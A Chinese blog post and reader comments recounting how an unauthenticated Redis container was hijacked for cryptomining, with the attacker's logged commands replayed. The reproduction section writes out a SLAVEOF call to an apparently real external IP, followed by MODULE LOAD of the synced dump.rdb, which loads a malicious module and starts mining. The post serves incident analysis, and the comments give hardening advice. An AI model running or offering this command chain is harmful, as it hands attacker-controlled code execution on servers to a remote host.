docker Redis 被挖矿场景复现
docker redis被任意链接 导致被kdevtmpfsi挖矿记录
昨天发现服务器被挖矿了,我ssh
可是都没开的,他是怎么用我容器挖矿的?
带这个问题,我把redis
容器再次弄成随意链接,想钓出他执行的命令。
开始追踪前准备
config set slowlog-log-slower-than 0 //所有命令都会被定义成慢查询
config set slowlog-max-len 10000 //保留1w条记录
config set slowlog-max-len 1000000 //他会不会执行很多命令? 改成保留100w保险些
上钩了
大概3-4小时,就把我容器做矿机了,真快。
是不是有检测系统,发现我掉了…
这是redis
执行过的所有命令(有部分是我的):
http://cdn.lblog.club/files/redis_log.txt
slowlog格式说明
7 slowlog的id
1585115869 执行的时间戳
15 执行命令的消耗时间 微秒
set //命令
1 //命令
test //命令 组合就是set 1 test
127.0.0.1:55968 //客户端 端口
我得到了他的执行过命令,然后我重新编译容器,准备复现他的操作。
开始复现
127.0.0.1:6379> slaveof 82.118.17.133 8887
OK
//此时把他redis数据 同步到受害机 dump.rdb已经是有毒的模块了!
//可惜dump.rdb用rdb看不了,不知道是什么操作,不知道这个dump.rdb的内容
127.0.0.1:6379> MODULE LOAD ./dump.rdb //加载模块
OK
127.0.0.1:6379> system.d id
""
(1184.54s)
//获得成就:主动当矿机 成就加成:cpu+90% 内存+10% (使用量)
你在你的redis执行这三条命令, 就可以复现被成为矿机的场景。主动当矿机了
本作品采用《CC 协议》,转载必须注明作者和本文链接
那么问题来了,是不是不用宝塔就不会出这些问题呢。我是在阿里云主机上买的一个最小配置的,也和楼主一样docker里面的redis端口也映射到了宿主机,但是从来没发生过这样的问题。
是不是说明宝塔做的很不安全,我也从没用过宝塔,看过之前前端的同学使用的是宝塔,有点印象。
@L学习不停
跟宝塔没关系
你的redis容器监听的是
0.0.0.0
吗?如果是127.0.0.1
,那么不可能了。如果是
0.0.0.0
,你可以试试redis-cli -h 主机
是否可以链接上去默认监听的就是
0.0.0.0
,应该是你云主机默认开启了所有端口的。我的阿里云只开启了22和443,所以外网绝不可能访问到。宝塔是一层防护,但宝塔应该是有漏洞,你应该登录到你云主机的平台上去看看,是不是开启了所有端口。其实还有一个问题就是Redis 必须设置密码。然后绑定端口。
这个好像是通过 redis 的 config 命令?我之前中招过。找了一下午才把问题给找出来。真他娘的隐蔽